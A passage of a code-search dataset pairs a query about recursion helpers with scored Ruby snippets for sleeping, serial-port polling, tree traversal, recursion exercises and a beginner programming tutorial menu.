"score": "0.5534747",
"text": "def slow_command\n EventMachine::Timer.new(3) { send_output \"This is the output.\" }\n end",
"title": ""
},
{
"docid": "768cc021c11f74487a1255af442e3b3d",
"score": "0.55318296",
"text": "def sleep_some_time\n sleep 1\n end",
"title": ""
},
{
"docid": "d7a63c44f8b4f22a7885433470f65866",
"score": "0.55068535",
"text": "def waitForReplySearch(pattern)\r\n while true\r\n servermsg = $oculussock.gets.strip\r\n puts servermsg\r\n if servermsg =~ pattern then break end\r\n\tend\r\n return servermsg\r\nend",
"title": ""
},
{
"docid": "a1403d8a4d4cd5cb3fa61c0b22d1d10b",
"score": "0.54904914",
"text": "def print_results_forever(wait_between_print=5)\r\n while(1) do\r\n print_results\r\n sleep wait_between_print\r\n end\r\n end",
"title": ""
},
{
"docid": "92e8fc9f277b028b18863231710fbe6a",
"score": "0.5484175",
"text": "def print_and_flush(string)\n print string\n $stdout.flush\nend",
"title": ""
},
{
"docid": "cc4b395e67624622b320eb03fe2989b3",
"score": "0.54820615",
"text": "def wait; end",
"title": ""
},
{
"docid": "cc4b395e67624622b320eb03fe2989b3",
"score": "0.54820615",
"text": "def wait; end",
"title": ""
},
{
"docid": "cc4b395e67624622b320eb03fe2989b3",
"score": "0.54820615",
"text": "def wait; end",
"title": ""
},
{
"docid": "1c4150540171ad9aac5fde00b506e4c2",
"score": "0.54671085",
"text": "def sleep\n sleep_after(0)\n end",
"title": ""
},
{
"docid": "2647ee4424d98c7d04bf44c3c280a622",
"score": "0.5455914",
"text": "def enter_at_mode\n while gets.size > 0; end # discard remain data\n Machine.delay(1000) # wait 1 second\n loop {\n self.write '+'; Machine.delay(1)\n self.write '+'; Machine.delay(1)\n self.write '+'\n Machine.delay(1000) # wait 1 second\n rsp = self.gets\n return rsp if rsp == \"OK\\r\"\n }\n end",
"title": ""
},
{
"docid": "3ed67bf97f3ed8d4a9ae4e78ab6da4a1",
"score": "0.5448805",
"text": "def wait(seq)\n nseq = nil\n while not nseq\n nseq,data = read_data(seq)\n select\n end\n end",
"title": ""
},
{
"docid": "7cec570d08b53fea8838001eacc92e91",
"score": "0.5427409",
"text": "def msleep( msec )\n NSThread.sleepForTimeInterval(msec / 1000.0)\n end",
"title": ""
},
{
"docid": "a92f4e76d9e91eb4e455c4618233b422",
"score": "0.5421941",
"text": "def wait_until(cycle)\n until yield\n\t sleep(cycle)\n\tend\n end",
"title": ""
},
{
"docid": "4c7a6eeeb10defb3b351865b99311dcf",
"score": "0.5421279",
"text": "def pause(p)\n \tsleep p\n \tputs\nend",
"title": ""
},
{
"docid": "557b6820f225376e46bbc92942f3ab54",
"score": "0.54197",
"text": "def send_cmd(bytes)\n while(true) do\n send_cmd_once bytes\n response = read_response\n return response if response\n debug_msg \"ZWave command failed, attempting retry...\"\n sleep(RETRY_DELAY / 1000)\n end\n end",
"title": ""
},
{
"docid": "eb08c405f2a7c982febf9409d1ffe400",
"score": "0.5417748",
"text": "def wait!\n wait\n raise @error if timeout?\n @messages\n end",
"title": ""
},
{
"docid": "c4ca6d1c73751b12832cb4aea0059762",
"score": "0.5413651",
"text": "def io_sleep\n # sleep 2.5/1000.0\n end",
"title": ""
},
{
"docid": "841292bf48ae1d4087efd6ca89f2d1f3",
"score": "0.54131496",
"text": "def wait_until_not_full; end",
"title": ""
},
{
"docid": "0bf6aaeb2d6801ca98dbb659d865f080",
"score": "0.54073966",
"text": "def ping(str)\n heartbeat(0b10001001, str)\n end",
"title": ""
},
{
"docid": "0f1d7e51935ce26992b39d40f45311ef",
"score": "0.5389088",
"text": "def wait(arg0)\n end",
"title": ""
},
{
"docid": "71d877ae3646a1d6643bb52b7569b052",
"score": "0.5382786",
"text": "def wait_cr(tmo=nil)\n t = Machine.millis + tmo if tmo\n loop {\n rsp = self.gets\n return rsp.chomp if rsp.size > 0\n raise \"XBee response timeout\" if t && t <= Machine.millis\n Machine.delay(10)\n }\n end",
"title": ""
},
{
"docid": "6ecedce7dd157e499c5a84405d87542a",
"score": "0.53607225",
"text": "def sputs(str)\n puts str unless @simple_output\n end",
"title": ""
},
{
"docid": "e92b7405ee582e3ae050d1328c682412",
"score": "0.53518575",
"text": "def message(input)\r\n start_line\r\n puts input.colorize(:light_blue)\r\n sleep(1.5)\r\n end",
"title": ""
},
{
"docid": "fa2506df709b087cfabd19cd050225c0",
"score": "0.5347874",
"text": "def wait(duration, variable)\n for i in 0...duration\n @wait_time += 1 if variable\n @wait_time_thirst if variable == false \n break if i >= duration / 2\n end\n end",
"title": ""
},
{
"docid": "d5459ea1499db5db476ea871191f3189",
"score": "0.53463054",
"text": "def wait_for_state(state)\n current_state = 'unknown'\n while current_state != state\n sleep(10)\n begin\n current_state = get_state_description\n rescue StandardError\n current_state = 'unknown'\n end\n end\n end",
"title": ""
},
{
"docid": "6e349e581860bba0f6fe790b6c154d36",
"score": "0.5344985",
"text": "def get_cmd(command,sleep_time,timeout,tries)\n msg=''\n ret=tries\n success=nil\n if(not(ret))\n ret=1\n end\n $queue.synchronize do\n $rx_messages.clear()\n end\n while(ret>0 and (not(success)))\n ret=ret-1\n $serial_port.synchronize do\n $serialport.write(command)\n end\n now=Time.now().to_f\n while((not(success)) and Time.now().to_f-now<=timeout)\n $queue.synchronize do\n if($rx_messages.length>0)\n msg=$rx_messages.pop()\n success=true\n end\n end\n sleep(0.1)\n end\n end\n if(success)\n sleep(sleep_time)\n return(msg)\n else\n return(nil)\n end\nend",
"title": ""
},
{
"docid": "af600074b4113c5cea54f93f978defd4",
"score": "0.53441805",
"text": "def message_restriction\n puts \"Enter a Valid Input To Continue!\".red\n sleep(2)\n end",
"title": ""
},
{
"docid": "47cc7a72c5b26e3e74b68125c245efea",
"score": "0.53379744",
"text": "def loop_message_n_times(string, integer)\n counter = 0 \n while counter < integer do \n puts string \n counter += 1 \n end \nend",
"title": ""
},
{
"docid": "bb1c7170643c834042030f99975a36ea",
"score": "0.53343874",
"text": "def wait(duration)\n for i in 0...duration\n update_basic(false, true, true)\n end\n end",
"title": ""
},
{
"docid": "8fcf89005c2b4c6033635925a7db2c3a",
"score": "0.5332814",
"text": "def wait_while(cycle)\n while yield\n sleep(cycle)\n end\n end",
"title": ""
},
{
"docid": "4b274996ca76a394561bfbca87126a1f",
"score": "0.53297377",
"text": "def execute_command( text , log, onscreen)\n\n begin\n\n # write the command to the arduino\n puts \"WR: #{text}\" if onscreen\n @bot_dbaccess.write_to_log(1, \"WR: #{text}\") if log\n @serial_port.read_timeout = 2\n @serial_port.write( \"#{text} \\n\" ) \n\n done = 0\n r = ''\n received = ''\n start = Time.now\n timeout = 5\n\n # wait until the arduino responds\n while(Time.now - start < timeout and done == 0)\n\n # if there is an emergency stop, immediately write it to the arduino\n if ($status.emergency_stop)\n @serial_port.write( \"E\\n\" )\n end\n\n # check for incoming data\n i = @serial_port.read(1)\n if i != nil\n i.each_char do |c|\n if c == \"\\r\" or c == \"\\n\"\n if r.length >= 3\n\n # some data received\n puts \"RD: #{r}\" if onscreen\n @bot_dbaccess.write_to_log(1,\"RD: #{r}\") if log\n\n # get the parameter and data part\n c = r[0..2].upcase\n t = r[3..-1].to_s.upcase.strip\n\n # process the feedback\n case c\n\n # command received by arduino\n when 'R01' \n timeout = 90\n\n # command is finished\n when 'R02'\n done = 1\n\n # command is finished with errors\n when 'R03'\n done = 1\n\n # command is still ongoing\n when 'R04'\n start = Time.now\n timeout = 90\n\n # specific feedback that is processes seperately\n else\n process_value(c,t)\n end\n r = ''\n end\n else\n r = r + c\n end\n end\n else\n sleep 0.001\n end\n end\n\n # log things if needed\n if done == 1\n puts 'ST: done' if onscreen\n @bot_dbaccess.write_to_log(1, 'ST: done') if log\n else\n puts 'ST: timeout'\n @bot_dbaccess.write_to_log(1, 'ST: timeout')\n\n sleep 5\n end\n\n rescue Exception => e\n puts(\"ST: serial error\\n#{e.message}\\n#{e.backtrace.inspect}\")\n @bot_dbaccess.write_to_log(1,\"ST: serial error\\n#{e.message}\\n#{e.backtrace.inspect}\")\n\n @serial_port.rts = 1\n connect_board\n\n sleep 5\n end\n\n end",
"title": ""
},
{
"docid": "f713522305ef274f1d750e69876871a6",
"score": "0.5327717",
"text": "def cmd(str)\n\t\[email protected] str\n\tend",
"title": ""
},
{
"docid": "552175e95e8cdaef956190632d0627fa",
"score": "0.53263223",
"text": "def writeloop\n while @running || [email protected]?\n s = @queue.pop\n write_(s)\n sleep(@conf['queue_delay'])\n end\n end",
"title": ""
},
{
"docid": "6c8e17305c7d4fd00e21b34cf0b1beb6",
"score": "0.5325175",
"text": "def delay\n puts \"Delaying ...\"\n sleep 1\n end",
"title": ""
},
{
"docid": "14ee4a49d794546bfa53176ffa583398",
"score": "0.5324475",
"text": "def wait\n sleep WAIT_TIME unless @skip_wait\n end",
"title": ""
}
] |
f8e079edc9e9c7eba8ec347c8d369a46
|
A helper method to make the recursion work.
|
[
{
"docid": "50b378c2c6ee1199315affc821ada42f",
"score": "0.0",
"text": "def write_entries(entries, path, zipfile)\r\n entries.each do |e|\r\n zipfile_path = path == '' ? e : File.join(path, e)\r\n disk_file_path = File.join(@input_dir, zipfile_path)\r\n\r\n if File.directory? disk_file_path\r\n recursively_deflate_directory(disk_file_path, zipfile, zipfile_path)\r\n else\r\n put_into_archive(disk_file_path, zipfile, zipfile_path)\r\n end\r\n end\r\n end",
"title": ""
}
] |
[
{
"docid": "de76bcc464d7faf4d87154622495557a",
"score": "0.78770757",
"text": "def recursive => nil",
"title": ""
},
{
"docid": "cec8cdd07b9ddbe218324e492d764349",
"score": "0.6938556",
"text": "def recursive_solution\n\n end",
"title": ""
},
{
"docid": "bfcf730d9133d167e4278a144365728c",
"score": "0.6528902",
"text": "def nesting() end",
"title": ""
},
{
"docid": "f542a41a4dd5864f3adf6a6469914900",
"score": "0.616322",
"text": "def sum_recurse(num)\n return 0 if num == 0\n num[0] + sum_recurse(num.delete(1))\nend",
"title": ""
},
{
"docid": "61e56687479cc681b5ad0e3034349a5e",
"score": "0.615761",
"text": "def test_recursive_methods\n assert_equal 0, find_node(1).ancestors_r.size\n assert_equal 8, find_node(1).descendants_r.size\n assert_equal 4, find_node('1_1_2_1_1').ancestors_r.size\n end",
"title": ""
},
{
"docid": "d8592529d5e6e9ba739b85c8b93d1e87",
"score": "0.6119139",
"text": "def recursion(number)\n if number == 1\n return number\n else\n p number\n recursion(number - 1)\n end\nend",
"title": ""
},
{
"docid": "a567d9589d718f09946caf0030f21755",
"score": "0.6112491",
"text": "def solution(t)\n # write your code in Ruby 2.2\n depth = 0\n childs = []\n\n childs << t.l if t.l\n childs << t.r if t.r\n\n while not childs.empty? do\n depth += 1\n\n cc = []\n childs.each do |t|\n cc << t.l if t.l\n cc << t.r if t.r\n end\n\n childs = cc\n end\n\n depth\nend",
"title": ""
},
{
"docid": "02bba410545b8c9e64f4afa69bb5a0f5",
"score": "0.6101769",
"text": "def recursive_print(array)\n\nend",
"title": ""
},
{
"docid": "bdfb6b4bdee5c5c0d60220fd691fdb7f",
"score": "0.601077",
"text": "def my_controlled_flatten(n=1)\n #here\n return self if n < 1\n\n results = []\n self.each do |el|\n if el.class == Array\n #here\n results += el.my_controlled_flatten(n-1)\n else\n results << el\n end\n end\n\n results\n\n end",
"title": ""
},
{
"docid": "59e3c7d64ea38cd40488707fa61c6ae9",
"score": "0.6008048",
"text": "def traverse; end",
"title": ""
},
{
"docid": "68ce1d262c3b05f43b5c5f19e4c58688",
"score": "0.5991298",
"text": "def throughout_nest do_this_to, parent\n parent.map!{|child| child.is_a?(String) ? do_this_to.call(child) : throughout_nest(do_this_to, child)}\nend",
"title": ""
},
{
"docid": "b711e07b7773327a81af817be5c4df3b",
"score": "0.5922395",
"text": "def esxlRecurse i, j\n esxlStraightRecurse(i, j) + esxlDiagonalRecurse(i, j)\nend",
"title": ""
},
{
"docid": "6d2d45293a54f1cd27da4d032589a6ea",
"score": "0.5878901",
"text": "def recursive_tower_of_hanoi(start,extra,end)\r\n\r\n #code here\r\nend",
"title": ""
},
{
"docid": "edde8de5a6c80e2a7946ff42d6f4f7e5",
"score": "0.5878884",
"text": "def factorial_recursive(num)\n if num == 0\n 1\n else \n num * factorial_recursive(num-1)\n \n # 7 * 6 = 42\n # 42 * 5 = 210\n # 210 * 4 = 840\n # 840 * 3 = 2520\n # 2520 *2 = 5040\n # 5040* 1 = 5040\n end\nend",
"title": ""
},
{
"docid": "b724aa99599dfaaf5b0bece2bf7647bc",
"score": "0.5809386",
"text": "def sum_recursively(num)\n return num if num == 0\n sum_recursively(num-1) + num\nend",
"title": ""
},
{
"docid": "f01b171aff6ae7205ba14a5695317786",
"score": "0.58014625",
"text": "def recurse_trade(node, route, items, visited={})\n \tif node == route[0]\n \t\troute << node\n \t\treturn route\n \telsif visited[node]\n \t\treturn\n \telse\n \t\tvisited[node] = true\n \t\troute << node\n \t\titems_children(node, items).each do |child|\n if child.new_owner\n next\n end\n \t\t\tresult = recurse_trade(child, route, items, visited)\n if result and result.count > 1\n # puts \"RESULT is #{result.count}\"\n # puts \"Result first is #{result.first}\"\n # puts \"Result last is #{result.last}\"\n return result\n else\n end\n \t\t\t# return result if result\n \t\tend\n \tend\t\t\n end",
"title": ""
},
{
"docid": "cb1ce7aafc14dd657a17b7e152d171b0",
"score": "0.5798715",
"text": "def depth=(_arg0); end",
"title": ""
},
{
"docid": "adf0300ee3bc4d08f99d5e10166922f4",
"score": "0.57769966",
"text": "def deep_each\n \n end",
"title": ""
},
{
"docid": "2f4d3d0dd91b181d05aca542bca0b804",
"score": "0.5760568",
"text": "def recurse_result_set(result, options = {}, &block)\n return result unless block_given? \n inner_recursion = options.delete(:inner_recursion)\n result_set = inner_recursion ? result : result.dup\n \n parent_id = (options.delete(:parent_id) || result_set.first[result_set.first.parent_col_name]) rescue nil\n options[:level] ||= 0\n options[:nested] = true unless options.key?(:nested)\n \n siblings = options[:nested] ? result_set.select { |s| s.parent_id == parent_id } : result_set \n siblings.sort! {|a,b| a.send(options[:sort_on]) <=> b.send(options[:sort_on])} if options[:sort_on]\n siblings.each do |sibling|\n result_set.delete(sibling) \n block.call(sibling, options[:level])\n opts = { :parent_id => sibling.id, :level => options[:level] + 1, :inner_recursion => true, :sort_on => options[:sort_on]} \n recurse_result_set(result_set, opts, &block) if options[:nested]\n end\n result_set.each { |orphan| block.call(orphan, options[:level]) } unless inner_recursion\n end",
"title": ""
},
{
"docid": "c99bc1b6096634591b40f19c3a1a507b",
"score": "0.5734291",
"text": "def sum_recur(array)\n#for array = []\n return 0 if array == []\n\n first_el = array.shift\n recursive_call = sum_recur(array)\n first_el + recursive_call\n\nend",
"title": ""
},
{
"docid": "330897638a3ae706a8c818ac1d4f5476",
"score": "0.5729858",
"text": "def recurse(curr, k, nums, res, start)\n# add, recurse, undo\n # basically forcing a base case\n if k == 0\n res << curr[0..-1] \n return\n end\n # start elims duplicates (like [3, 2] [2, 3])\n i = start\n while i < nums.length\n curr << nums[i]\n recurse(curr, k - 1, nums, res, i + 1)\n curr.pop\n i+=1\n end\n \n end",
"title": ""
},
{
"docid": "d72cc3283bb18b3cd0deff7333eb96c2",
"score": "0.572481",
"text": "def recursive?\n false\n end",
"title": ""
},
{
"docid": "b182d9c734b8bbba3d906976495ae39d",
"score": "0.5720492",
"text": "def inorder_traversal(root)\n #Base: when root is at the end\n return [] if root.nil?\n #Declare empty array\n result = []\n #push recursive call of root.left\n result.concat(inorder_traversal(root.left))\n #push root vale itself\n result << root.val\n #push recursive call of root.right\n result.concat(inorder_traversal(root.right))\n # return result \n result\nend",
"title": ""
},
{
"docid": "36d27c3347612ef0caee6a3a2c97e997",
"score": "0.5718437",
"text": "def my_flatten_recursive \n results = []\n self.my_each do |ele|\n if ele.is_a? Array \n results.concat(ele.my_flatten_recursive)\n else \n results<< ele\n end\n end\n results\n\n end",
"title": ""
},
{
"docid": "66b73ddc610272de40c8a2493ad18053",
"score": "0.5693244",
"text": "def bitonic_recurse(arr, low, count, direction)\n return if count <= 1\n\n mid = count / 2\n bitonic_recurse(arr, low, mid, 1)\n bitonic_recurse(arr, low + mid, mid, -1)\n bitonic_merge(arr, low, count, direction)\n arr\nend",
"title": ""
},
{
"docid": "08cbbebba64092e907c3b68f8ea682a2",
"score": "0.56831783",
"text": "def print_reverse\n print_recursively(@head) \n end",
"title": ""
},
{
"docid": "922f936725d9cd57764c013fae9f4625",
"score": "0.56763303",
"text": "def in_order_traverse(tree, array)\n if !tree.nil?\n in_order_traverse(tree.left, array)\n array.append(tree.value)\n in_order_traverse(tree.right, array)\n end\n return array\n\n\nend",
"title": ""
},
{
"docid": "5bbd7b7b1c6563d25edc1e55fafdd121",
"score": "0.5655391",
"text": "def find_beeper()\n while not next_to_a_beeper?()\n move_toward_beeper()\n end\n end",
"title": ""
},
{
"docid": "d038ebfec7350d406bd66389f2fb2ca7",
"score": "0.56546015",
"text": "def tree2path_helper(tree, current, path)\n path << '/' << current\n if !tree.children.empty?\n set = []\n # use reverse to be consistent with the sample in the problem\n tree.children.reverse_each do |child|\n set << child.data unless child.data.include?('-')\n end\n acc = set.inject('') {|acc, e| acc + e + '|'}[0..-2]\n tree2path_helper(tree.children[0], acc, path)\n end\n end",
"title": ""
},
{
"docid": "17b0202da030860164fc04b8dd67c164",
"score": "0.5652707",
"text": "def recurse_call(*args)\n # # create a state for the call.\n # call_state = SequencerT.current.step\n\n # Get the variables for handling the stack overflow.\n stack_ptr = @stack_ptr\n depth = @depth \n argsIdx = @argsIdx\n this = self\n\n # Adds the argument to the stack if no overflow.\n HDLRuby::High.top_user.hif(stack_ptr < depth) do\n # hprint(\"stack_ptr=\",stack_ptr,\" depth=\",depth,\"\\n\")\n # Adds the arguments and the return state to the current stack frame.\n # Since not pushed the stack yet for not loosing the previous\n # arguments, add +1 to the offset when poking the new arguments.\n # args.each_with_index { |arg,i| self.poke(@argsIdx + i,arg,1) }\n args.each_with_index { |arg,i| this.poke(argsIdx + i,arg,1) }\n end\n\n # Push a new frame.\n self.push_all\n\n # create a state for the call.\n call_state = SequencerT.current.step\n\n # Prepare the handling of overflow\n call_state_value = call_state.value\n overflow = @funcE.overflow\n if overflow then\n HDLRuby::High.top_user.hif(stack_ptr > depth) do\n HDLRuby::High.top_user.instance_exec(&overflow)\n end\n end\n\n # Get the state value of the function: it is the state\n # following the first function call.\n func_state_value = @state.value + 1\n # Do the call.\n call_state.gotos << proc do\n HDLRuby::High.top_user.instance_exec do\n hif(stack_ptr <= depth) do\n next_state_sig <= func_state_value\n end\n helse do\n # Overflow! Skip the call.\n next_state_sig <= call_state_value + 1\n # if overflow then\n # # There is some overflow code to execute.\n # HDLRuby::High.top_user.instance_exec(&overflow)\n # end\n end\n end\n end\n\n return call_state\n end",
"title": ""
},
{
"docid": "6fae7d3e6db57691bbb5931d09bf5256",
"score": "0.5645223",
"text": "def recursion(x)\n return \"HEYO!\" if x >= 5\n puts x\n recursion(x += 1)\nend",
"title": ""
},
{
"docid": "4c48e30661f8e6926acdee1057d4be13",
"score": "0.56427425",
"text": "def display_tree(an_array)\r\n an_array.length\r\n count = 1\r\n (count - 1).upto(count) do\r\n end\r\nend",
"title": ""
},
{
"docid": "7694623e7bdce72f2f19da076fd4fe4b",
"score": "0.5639478",
"text": "def to_recursive\n self\n end",
"title": ""
},
{
"docid": "38ed99fd9cd5a20ebd38ca93aba54cfa",
"score": "0.5638402",
"text": "def recursion(n)\n if n % 2 ==0\n n\n else\n recursion(n + 1)\nend\nend",
"title": ""
},
{
"docid": "f2b3a2223a91ca6b0454ac7de1ba7ff4",
"score": "0.56304485",
"text": "def depth; end",
"title": ""
},
{
"docid": "599977df9c0fae825d00bea9f813240f",
"score": "0.56273115",
"text": "def build_default_proc(_left, _right, _total, _path, _last_height)\n ->(h, level) do\n left, right, total, path, last_height = _left, _right, _total, _path, _last_height\n levels = level - last_height\n if path == 1\n increase = left * levels\n path = 0\n total += increase\n right += increase\n else\n increase = right * levels\n path = 1\n total += increase\n left += increase\n end\n last_height = level\n nested = {\n left: left,\n right: right,\n total: total,\n path: path,\n next: nested\n }\n nested.default_proc = build_default_proc(left, right, total, path, last_height)\n\n\n h[level] = nested\n end\nend",
"title": ""
},
{
"docid": "af9bd7b8e4362d0598ebf7ddf5753c02",
"score": "0.5626221",
"text": "def recursiveTreeTraversal(element)\n begin\n requirementsTree = findRequirementsTree(element)\n unless requirementsTree == nil\n checkForDuplicateRoots(requirementsTree)\n end\n for child in element.getOwnedElement()\n recursiveTreeTraversal(child)\n end\n rescue SystemStackError\n $logger.log(\"Recursive Issue1: \" + element.getName())\n end\nend",
"title": ""
},
{
"docid": "cee9af580f56de614fd388641378a430",
"score": "0.5624609",
"text": "def apply_children\n \n end",
"title": ""
},
{
"docid": "79cc90160c09bc0bb6cc3eb14c71fcb2",
"score": "0.56135565",
"text": "def factorial_recursive(num = 0)\n # this is a guard clause\n return \"Can not calculate factorial of a negative number\" if num < 0\n\n if num <= 1\n 1 # this is our base case\n else\n num * factorial_recursive(num - 1) # this is where the recursion happens\n end\nend",
"title": ""
},
{
"docid": "b1313d7e1d175452f6f86585e422a149",
"score": "0.5590882",
"text": "def rec_sum(num)\n return num if num <= 1\n num + rec_sum(num - 1)\nend",
"title": ""
},
{
"docid": "f50aae702dda6833f356742780d3d91b",
"score": "0.5588782",
"text": "def my_recursive_method # Thanks to Zach for help with this method!\n\tputs \"What do you want to know?\"\n\tputs \"Please choose a number 1-16\"\n\tputs \"1. Local vs. Remote\"\n\tputs \"2. FTP\"\n\tputs \"3. Accessing your Server\"\n\tputs \"4. HTML vs Ruby\"\n\tputs \"5. Ruby's History\"\n\tputs \"6. What is programming?\"\n\tputs \"7. Variables\"\n\tputs \"8. Floats and Integers\"\n\tputs \"9. Strings\"\n\tputs \"10. Booleans\"\n\tputs \"11. Arrays\"\n\tputs \"12. Hashes\"\n\tputs \"13. Conditions\"\n\tputs \"14. Loops\"\n\tputs \"15. Methods\"\n\tputs \"16. Objects\"\n\tputs \"Type 'exit' to end program.\"\n\tchoice = gets.chomp.to_i\n\tif choice == 1\n\t\tputs \"So you want to learn about Local vs. Remote files...\"\n\t\tputs \"If your files stay on your computer and you access them from there, then your website is local.\"\n\t\tputs \"If you're uploading your files to a server and then accessing them on that server, your website is remote.\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 2\n\t\tputs \"So you want to learn about FTP...\"\n\t\tputs \"FTP stands for 'File Transfer Protocol'.\"\n\t\tputs \"It gets your files to the remote server.\"\n\t\tputs \"Popular clients (Applications) include Fetch, Cyberduck, and FileZilla.\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\n\telsif choice == 3\n\t\tputs \"Ok, you want to know about accessing your server...\"\n\t\tputs \"You will need a hostname, username, and password.\"\n\t\tputs \"These are typically provided by your host.\"\n\t\tputs \"Port 21 is FTP, port 22 is SFTP.\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 4\n\t\tputs \"Ok, you want to know about HTML vs Ruby...\"\n\t\tputs \"Ruby is logic based.\"\n\t\tputs \"It's not used to markup, it's used to make decisions.\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 5\n\t\tputs \"So, you want to know about Ruby's history?\"\n\t\tputs \"Ruby was written by Yukihiro 'Matz' Matsumoto in the mid 1990s.\"\n\t\tputs \"It was implemented in C.\"\n\t\tputs \"At a Google Tech Talk in 2008 Matsumoto further stated,\"\n\t\tputs \"'I hope to see Ruby help every programmer in the world to be productive, and to enjoy programming, and to be happy.\"\n\t\tputs \"That is the primary purpose of Ruby language.'\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 6\n\t\tputs \"Ok, you want to know about Programming...\"\n\t\tputs \"Basically, programming is defining commands, issuing them, and the ensuring they get executed.\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 7\n\t\tputs \"Ok, so you want to learn about Variables...\"\n\t\tputs \"Think of variables like you would in Alegbra.\"\n\t\tputs \"5+x=14 => Solve for x => x=9\"\n\t\tputs \"Variables are containers for values.\"\n\t\tputs \"x=5 or y='Zach' or q=x+r\"\n\t\tputs \" \"\n\t\tputs \"Variables also have many differnt types.\"\n\t\tputs \"1. Float numbers with decimal points: 10.32, 65.323, .32\"\n\t\tputs \"2. Integer natural numbers 11, 53, 3\"\n\t\tputs \"3. Strings a line of text 'Jon', 'Elephants are awesome'.\"\n\t\tputs \"4. Boolean either true or false.\"\n\t\tputs \"5. Arrays a collection of values [5,3,12,'omega']\"\n\t\tputs \"6. Objects a representation of something in the real world, with properties and methods.\" \n\t\tputs \" A Car object would have brakes, and a method to make the car move.\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 8\n\t\tputs \"Ok. Here are the different Data Types...\"\n\t\tputs \"Floats are numbers with decimal points.\"\n\t\tputs \"Examples are: 10.32, 65.323, 0.32\"\n\t\tputs \"Integers are natural numbers. Meaning they are whole and have no decimals.\"\n\t\tputs \"Examples are: 11, 53, 3\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 9\n\t\tputs \"Ok. Lets talk about Strings...\"\n\t\tputs \"Strings are lines of text.\"\n\t\tputs \"Examples are: Jon, '12' + '12'\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 10\n\t\tputs \"Ok lets talk about Booleans.\"\n\t\tputs \"Booleans are either true or false.\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 11\n\t\tputs \"Lets talk about Arrays...\"\n\t\tputs \"An array is a collection of values.\"\n\t\tputs \"For example: [5,3,4,'omega', 15.3, 'cappa']\"\n\t\tputs \"When assigned to variables, can be accessed with brackets[]\"\n\t\tputs \"For example: a = [5,3,4,'omega', 15.3, 'cappa']\"\n\t\tputs \"a[0] == 5, a[4] == 15.3\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 12\n\t\tputs \"Lets talk about Hashes!\"\n\t\tputs \"Hashes are another way to store data - similar to an array.\"\n\t\tputs \"It's used to store key => value pairs.\"\n\t\tputs \"For example: myHash = {jan: 'January', feb: 'February'}\"\n\t\tputs \"To access value: myHash['January']\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 13 \n\t\tputs \"Ok. Lets talk about Conditions...\"\n\t\tputs \"A condition is a test for something.\"\n\t\tputs \"if 'this' then 'that'\"\n\t\tputs \"For example: if (2 == 2) puts '2 really does equal 2!'\"\n\t\tputs \"Conditions contain 'if', 'elsif', 'else', and 'end'.\"\n\t\tputs \" \"\n\t\tputs \"Press 'Enter' to continue...or type 'exit' to stop.\"\n\t\texit = gets.chomp\n\t\t\tif exit == \"exit\"\n\t\t\t\tputs \"goodbye...\"\n\t\t\t\tputs \" \"\n\t\t\telse my_recursive_method\n\t\t\tend\n\telsif choice == 14\n\t\tputs \"Ok. Lets talk about Loops...\"\n\t\tputs \"Loops are repetitive conditions where one variable changes.\"\n\t\tputs \"There are For, While, Each, and 